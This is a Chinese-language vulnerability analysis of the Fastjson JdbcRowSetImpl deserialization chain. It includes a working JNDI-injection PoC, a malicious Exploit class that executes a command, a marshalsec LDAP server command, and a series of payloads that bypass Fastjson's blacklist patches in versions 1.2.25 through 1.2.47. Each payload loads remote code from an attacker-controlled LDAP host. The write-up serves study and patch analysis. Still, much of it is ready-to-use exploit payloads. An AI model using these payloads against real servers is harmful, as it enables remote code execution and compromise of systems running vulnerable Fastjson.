0x01 前言

JdbcRowSetImpl链与TemplatesImpl链不同,该链实用性更强,其可在以下fastjson写法中适用。

  1. parse(jsonStr)
  2. parseObject(jsonStr)
  3. parseObject(jsonStr,Object.class)

JdbcRowSetImpl实际通过JNDI注入达到命令执行的效果,所以对于jdk版本有具体的限制。
Fastjson JdbcRowSetImpl 链分析 - 图1

0x02 利用链分析

poc如下:

  1. import com.alibaba.fastjson.JSON;
  2. public class POC {
  3. public static void main(String[] args) {
  4. // String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
  5. String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
  6. JSON.parse(PoC);
  7. }
  8. }

将恶意类代码编译为class文件并放在web服务中

  1. import java.io.IOException;
  2. public class Exploit {
  3. public Exploit() {
  4. }
  5. static {
  6. try {
  7. Runtime.getRuntime().exec("calc.exe");
  8. } catch (IOException e) {
  9. e.printStackTrace();
  10. }
  11. }
  12. }

image.png
使用marshalsec工具启用LDAP服务端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 1389
image.png
运行poc
image.png
需要注意一点的是,使用javac编译Exploit代码的时候jdk版本尽可能的低一些,否则可能会出现生成的Exploit无法在目标主机jdk环境中运行。
fastjson在反序列化过程中会调用setDataSourceName方法和setAutoCommit方法。
调用setDataSourceName设置dataSourceName
image.png
调用setAutoCommit方法,跟进this.connect方法。
image.png
InitialContext.lookup(dataSource),实现JNDI注入
image.png
利用链:

  1. JdbcRowSetImpl.setDataSourceName()
  2. JdbcRowSetImpl.setAutoCommit()
  3. -> JdbcRowSetImpl.connect()
  4. -> InitialContext.lookup(dataSource)

0x03 修复绕过

1.2.25版本之后,autotype默认是受限的,这个受限并不是禁止autotype这个功能,而是增加了白名单设置,并且在fastjson内部增加了黑名单设置。见https://github.com/alibaba/fastjson/wiki/enable_autotype
开启autotype有两种方式。
一是在JVM中增加参数:
-Dfastjson.parser.autoTypeSupport=true
image.png
一是在代码中增加:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

1.2.25补丁绕过

利用条件:1.2.25-1.2.41enable_autotype
payload:

  1. {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}

1.2.25版本后在如下代码处增加了过滤,checkAutoType@type参数进行检查。
image.png
该方法具体是对参数进行黑白名单判断,下图是开启autotype后,先进行白名单再进行黑名单判断,白名单默认为空。
image.png
在关闭autotype支持的情况下,先进行黑名单判断再进行白名单判断。
image.png
查看黑名单,可以看到com.sun被过滤了。
image.png
而payload中的绕过只是在参数前后加了个L;就可以绕过了,为什么呢?
在黑名单检测时,由于我们传入的参数是Lcom开头的,所以绕过了黑名单。
image.png
接着走到loadClass方法对类进行加载。
image.png
该类在加载中存在一个判断,如果开头为L结尾为;则截取中间的字串,然后再加载类,这就顺利绕过了黑名单。
image.png

1.2.42补丁绕过

利用条件:1.2.25-1.2.42enable_autotype
payload:

  1. {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}

1.2.42版本中,明文黑名单改为HASH值,checkcheckAutoType方法添加L;字符过滤。
在checkAutoType中语句变得更加晦涩了,红色字段则是识别字符串头尾是否是L;。如果是则掐头去尾。直接简单的双写即可绕过。
image.png

1.2.43补丁绕过

利用条件:1.2.25-1.2.43enable_autotype
payload:

  1. {"@type":"com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}

1.2.43对LL进行了过滤,所以用[进行绕过。
image.png
至于为什么要在后面加[{则是根据报错来加的,但对于具体细节不太清楚。
image.png

1.2.44补丁修复(JdbcRowSetImpl的终结)

1.2.44中对[进行了过滤,后续就没有直接通过@type字段指定JdbcRowSetImpl类的绕过了,可以说JdbcRowSetImpl链告一段落。
image.png


1.2.25-1.2.45 mybatis绕过

利用条件:1.2.25-1.2.45enable_autotypemybatis 3.0.0-3.5.0
payload:

  1. {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Evil"}}

maven依赖:

  1. <dependency>
  2. <groupId>org.apache.ibatis</groupId>
  3. <artifactId>ibatis-core</artifactId>
  4. <version>3.0</version>
  5. </dependency>

如果mybatis版本符合要求,则可以使用JndiDataSourceFactory绕过黑名单。
调用JndiDataSourceFactorysetProperties方法触发JNDI注入。
image.png
1.2.46添加该链到黑名单。

1.2.25-1.2.47补丁绕过

利用条件:

  • 1.2.25-1.2.32disable_autotype
  • 1.2.33-1.2.47enable_autotype/disable_autotype

payload:

  1. {
  2. "a":{
  3. "@type":"java.lang.Class",
  4. "val":"com.sun.rowset.JdbcRowSetImpl"
  5. },
  6. "b":{
  7. "@type":"com.sun.rowset.JdbcRowSetImpl",
  8. "dataSourceName":"ldap://localhost:1389/Evil",
  9. "autoCommit":true
  10. }
  11. }

1.2.47开启autotype

首先是提取到a下的@typejava.lang.Class字段并进行黑白名单检查。
image.png
获取到java.lang.Class对象
image.png
跟进deserialze方法,反序列化其它字段
image.png
获取到val字段的值com.sun.rowset.JdbcRowSetImpl
image.png
加载com.sun.rowset.JdbcRowSetImpl类对象
image.png
跟进loadClass函数,加载该类,并判断cache是否开启,默认cache是开启的,将该clazz类对象添加到mappings中。1.2.48后缓存默认关闭。
image.png
接下来是解析b字段@type部分。
image.png
接着对com.sun.rowset.JdbcRowSetImpl字符串进行白黑名单检查,需要注意的是黑名单判断条件中的TypeUtils.getClassFromMapping(typeName) == null字段,即使hash黑名单匹配成功也不会抛出异常,这就绕过了黑名单。而在1.2.32及之前,不存在该字段,所以开启autotype后反而不能绕过黑名单。
image.png

1.2.47禁用autotype

禁用autotype后则不会再进行黑白名单判断,直接从Mapping中获取com.sun.rowset.JdbcRowSetImpl类对象。其它与开启autotype一致。
image.png

0x04 总结

看了主要版本的分析,更高版本和更多利用方式查看此处:https://github.com/safe6Sec/Fastjson